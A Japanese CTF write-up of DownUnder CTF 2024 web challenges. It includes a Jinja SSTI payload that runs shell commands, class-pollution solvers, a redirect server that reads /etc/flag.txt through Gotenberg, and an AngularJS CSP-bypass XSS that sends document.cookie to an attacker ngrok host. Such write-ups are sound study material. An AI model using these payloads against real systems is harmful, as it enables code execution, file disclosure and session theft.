🦘

DownUnder CTF 2024 Web Writeup

2024/07/07に公開

今週末も脆弱エンジニアでCTF参加してきました。結果は60/1515位。Webで足を引っ張りかけましたが、ぎりぎり点数稼げた感じです。PHPとかLLMとか苦手系な問題が多かったので、よく復習します。

ここでは実際に解けた問題だけ記載します。

大会中解けなかった、Waifu、i am confusion, sniffyはPart 2から、Prisoner ProcessorはPart 3から見れます

Beginnerは簡単に

parrot the emu (100pt, クリア率66%)

コード読んでないが、Jinja Injectionが可能だったので、チートシートを利用して、RCEした

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("cat flag").read()}}{%endif%}{% endfor %}

zoo feedback form (100pt, クリア率46%)

コードを読んだところ、XMLでリクエストを行っている。とりあえずXEEを実行してみたらうまくいった

co2 (100pt, クリア率19%)

グローバル変数flag"true"にした上で/get_flagにアクセスするとフラグが得られる。

/save_feedbackclass pollution可能なmerge関数がある

app/utils.py
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

解説記事通りに実行すればOK

solver.py
import requests

URL = "https://web-co2-3638c3b2974c54de.2024.ductf.dev/"
# URL = "http://localhost:1337/"

s = requests.session()

r = s.post(URL + "register", data={
  "username": "user",
  "password": "pass"
})
r = s.post(URL + "login", data={
  "username": "user",
  "password": "pass"
})
r = s.post(URL + "save_feedback", json={
  "__class__": {
    "__init__": {
      "__globals__": {
        "flag": "true"
      }
    }
  }
})
r = s.get(URL + "get_flag")
print(r.text)

hah got em (129pt, クリア率11%)

gotenbergという、URLを送るとWebページをPDFにしてファイルを送ってくれるシステムのみがデプロイされている。バージョンは8.0.3

とりあえずCVEやsnykで検索をかけてみるが特にヒットなし。次のバージョンの8.1.0のパッチノートをみてみると

This update addresses a critical security flaw which previously enabled unauthorized read access to the system files of a Gotenberg container. It is strongly advised to upgrade to this version, especially for those utilizing the Chromium module to process untrusted content.

おっ、と思ってコミット履歴を見てみると

fs.String("chromium-deny-list", "^file:///[^tmp].*", "Set the denied URLs for Chromium using a regular expression")

こ、これは見たことあるやつ!file:///etc/flag.txtfile://localhost/etc/flag.txtと書くこともできるので

ちゃんとコードを読んでないけど、多分リダイレクトだろうな、とおもって

server.py
from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        target_url = 'file://localhost/etc/flag.txt'
        self.send_response(302)
        self.send_header('Location', target_url)
        self.end_headers()

def run(server_class=HTTPServer, handler_class=RedirectHandler, port=9911):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    httpd.serve_forever()

if __name__ == '__main__':
    run()
solver.py
import requests

URL = "https://web-hah-got-em-20ac16c4b909.2024.ductf.dev/"
# URL = "http://localhost:3000/"

r = requests.post(URL + "forms/chromium/convert/url", 
          files={
            'url': (None, 'file://localhost/etc/flag.txt'),
          })

f = open("res.pdf", "wb")
f.write(r.content)

送られてきたPDFにフラグの情報が載っているので、フラグゲット。

co2v2 (222pt, クリア率3%)

co2の続き。同じくグローバル変数は書き換えられるので、とりあえずいろいろ無効化

solver.py
r = s.post(URL + "save_feedback", json={
  "__class__": {
    "__init__": {
      "__globals__": {
        "TEMPLATES_ESCAPE_ALL": False,
        "TEMPLATES_ESCAPE_NONE": True,
        "SECRET_NONCE": "",
        "RANDOM_COUNT": 0
      }
    }
  }
})

XSSは初期状態では設定で防がれているが、TEMPLATES_ESCAPE_ALLの値で更新できる関数が追加されているので、これを呼ぶ。すると、/create_postで投稿したブログがトップページでXSS可能になる。

src/app/routes.py
@app.route("/admin/update-accepted-templates", methods=["POST"])
@login_required
def update_template():
    data = json.loads(request.data)
    # Enforce strict policy to filter all expressions
    if "policy" in data and data["policy"] == "strict":
        template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_ALL)
    # elif "policy" in data and data["policy"] == "lax":
    #     template_env.env = Environment(loader=PackageLoader("app", "templates"), autoescape=TEMPLATES_ESCAPE_NONE)
    # TO DO: Add more configurations for allowing LateX, XML etc. to be configured in app
    return jsonify({"success": "true", "autoescape": TEMPLATES_ESCAPE_ALL}), 200

ここで、トップページのCSPを見てみると、

src/app/routes.py
@app.after_request
def apply_csp(response):
    nonce = g.get('nonce')
    csp_policy = (
        f"default-src 'self'; "
        f"script-src 'self' 'nonce-{nonce}' https://ajax.googleapis.com; "
        f"style-src 'self' 'nonce-{nonce}' https://cdn.jsdelivr.net; "
        f"script-src-attr 'self' 'nonce-{nonce}'; " 
        f"connect-src *; "
    )
    response.headers['Content-Security-Policy'] = csp_policy
    return response

そのままscriptタグを埋め込んだだけでは実行されないので、以下の2点を満たす必要がある。

  1. 埋め込むコードに有効なnonceを付与する
  2. インラインで実行できないので、どうにか回避する

1.に関して、生成コードをみてみると

src/app/routes.py
def generate_nonce(data):
    nonce = SECRET_NONCE + data + generate_random_string(length=RANDOM_COUNT)
    sha256_hash = hashlib.sha256()
    sha256_hash.update(nonce.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    g.nonce = hash_hex
    return hash_hex

SECRET_NONCERANDOM_COUNTは無効化しているので、生成されるnonceは逆算可能になった。

2.に関しては、https://ajax.googleapis.com からのコードが実行できるので、AngularJSによるbypassを利用できる。

これらを踏まえて以下のソルバーでフラグゲット

solver.py
import requests
from urllib.parse import quote
import hashlib

URL = "https://web-co2v2-4f01733c0579eb96.2024.ductf.dev/"
# URL = "http://localhost:1337/"
EVIL = "https://xxx.ngrok.app/"

def generate_nonce(data):
    sha256_hash = hashlib.sha256()
    sha256_hash.update(data.encode('utf-8'))
    hash_hex = sha256_hash.hexdigest()
    return hash_hex

s = requests.session()

r = s.post(URL + "register", data={
  "username": "user",
  "password": "pass"
})
r = s.post(URL + "login", data={
  "username": "user",
  "password": "pass"
})
r = s.post(URL + "save_feedback", json={
  "__class__": {
    "__init__": {
      "__globals__": {
        "TEMPLATES_ESCAPE_ALL": False,
        "TEMPLATES_ESCAPE_NONE": True,
        "SECRET_NONCE": "",
        "RANDOM_COUNT": 0
      }
    }
  }
})
print(r.text)
r = s.post(URL + "admin/update-accepted-templates", json={
  "policy": "strict"
})

nonce = generate_nonce("/")
XSS = f"""
<script nonce={nonce} src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script nonce={nonce} src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
  {{{{x = $on.curry.call().fetch('{EVIL}?d=' + $on.curry.call().document.cookie)}}}}
</div>"""

r = s.post(URL + "create_post", data={
    'title': XSS,
    'content': "",
    'public': '1',
    'save': 'Save Post',
})


print(r.text)

できなかったやつ

公式writeupとか見ながら解いていきたいです。

Waifu

LLM adversarial attack + SSRFの問題だと思うが、SSRF部分でさえ解けなかった。

i am confusion

JWT(HS256)の鍵にSSLの公開鍵を使っているから、証明書から公開鍵を復元してJWTを署名しましょうという問題。公開鍵の保存形式が1文字でもずれていると答えが合わないので、それが理由で多分だめだった。

sniffy

ディレクトリトラバーサル可能だが、mimetypeのチェックが入るせいで音声ファイルしか読み取れない。どうにかしてmimetypeを騙せるようにファイルを読み込むか、php://filterとかを利用するのか。

どちらにせよ、PHPの知識の不足を感じた。

Prisoner Processor

BunというTypescriptの実行環境で動いているyamlパーサーのサイトの問題。こちらもディレクトリトラバーサル可能で、任意の場所にファイルを書き込むことができた。

多分ファイル名のsuffixを書き込まれないようにする方法があったのだろうけど、そこができなかった。あと、多分なにかしらの方法でサーバーをクラッシュさせてファイルを再読み込みさせる必要があったけど、そこまで辿り着かなかった。

(misc) the other minimal php

<?php eval(~htmlspecialchars($_GET[0]));

これでLFIする問題。PHPの知識不足がすごかったです。

(misc) pkijs<

pkijsの脆弱性(?)を突く問題。そもそもpkiとはなんぞやで終わっちゃいました。RFCとかちゃんと読む練習しなければ。

まとめ


pwn募集してます。

Discussion